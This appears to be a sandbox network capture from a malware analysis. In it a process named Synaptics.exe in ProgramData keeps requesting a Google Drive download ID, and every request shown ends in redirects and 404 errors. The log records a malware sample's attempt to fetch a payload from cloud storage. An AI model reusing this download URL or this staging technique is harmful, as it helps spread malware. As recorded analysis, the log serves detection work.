2024-12-30 10:24:24 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 10:24:24 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7NffQA0sK6LlEYaFFQ7Ze0jEZ5-g3-HNlxD8dVcfnhVBVgP_ShdHb7zvTRGAe23PV3b7oa4L0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:24 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WqdjAfbOEyvViiWfNKNokA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=Y_PNLw8RAdUj4J1fOerPMq8Ej9LvL1f7eF6_piOgXJNptBE8qxvPOkddsBqHD9gQOeCrJToQuet-_tokPg-JdZJiqyAu88gCyYeyuE48kpaD4y1_QnonBLTPPkt56ERiisqn6OfLmXRqnXEdx-shuyT3q60FEk5q_r3UTpHE8-DK_GE5EajAs4Vr; expires=Tue, 01-Jul-2025 10:24:24 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:24 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 32 41 34 53 42 32 35 42 42 39 31 55 7a 58 73 58 61 4e 43 54 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="l2A4SB25BB91UzXsXaNCTw">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 10:24:24 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49803	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:24 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-6moGVRYxMx8vVhzgVEbaPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49813	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:25 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-htIgSiDbYiZXAWHZFi_Skg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49814	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:25 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 10:24:25 UTC	1601	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6dn2YiMuFrEVz30xh86cgW93-3PVpCeJYuVa-n7kyBql0GKo1hFdSgyDauFKoAoV1TqsuSZjI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:25 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RyFGItg9gk3Hmp-F8ePMjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls; expires=Tue, 01-Jul-2025 10:24:25 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:25 UTC	1601	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 2d 37 65 61 4e 73 6e 6f 39 78 73 76 69 45 6e 36 55 68 78 6c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="P-7eaNsno9xsviEn6UhxlA">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 10:24:25 UTC	51	IN	Data Raw: 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: his server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49816	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:25 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Tir1M6stQ05BdJ2WBxJSEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49817	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=BYMo-wv4eYJdWmry7AUwgnY8FD94uo3veWkAXjfZOk1mv7TJVBgEhqFHCgX6R2JeKOBvo50nIjRpzf2b_9A2GW8ksEyt-5g4q85Ob8tsU_aR9mcINLgHh64rG-oKyQGbjBH7KUvXgliKdHc4uXAnoj7xbO6TIXqQNfde8w3K2uPd4t-_pCWMMPI
2024-12-30 10:24:25 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5OUs6SLq_gifeKaWfdpW8szT43R6AulKqLDrTgdYvBbpR3pbfDkd0ReVRyEkQDO-S3nK3tmcY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:25 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Npx_MsSYLtwC38RCVckNlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:25 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:24:25 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 42 65 32 48 57 79 70 6d 56 71 37 35 71 5f 37 30 37 63 79 68 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="cBe2HWypmVq75q_707cyhw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:24:25 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49824	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:26 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-vzOEp-yaMo556KYtcGo4jQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49826	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:26 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Y_PNLw8RAdUj4J1fOerPMq8Ej9LvL1f7eF6_piOgXJNptBE8qxvPOkddsBqHD9gQOeCrJToQuet-_tokPg-JdZJiqyAu88gCyYeyuE48kpaD4y1_QnonBLTPPkt56ERiisqn6OfLmXRqnXEdx-shuyT3q60FEk5q_r3UTpHE8-DK_GE5EajAs4Vr
2024-12-30 10:24:27 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5PadOovM7s9q5Wk1FfDLTsnskZrz30GV1YL-mQ5BpWt77CpHEb_GtuOiyxHGGXeWRZM0rBR2Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:26 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-blAmeqrZ0EEv6NGq11xvow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:27 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:24:27 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 47 54 6f 50 52 6a 33 59 30 6f 69 48 39 4e 55 78 43 55 65 6b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="FGToPRj3Y0oiH9NUxCUekA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:24:27 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49825	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:26 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-IgJtK-WdFMFEYF3eXmwrWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49828	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:26 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
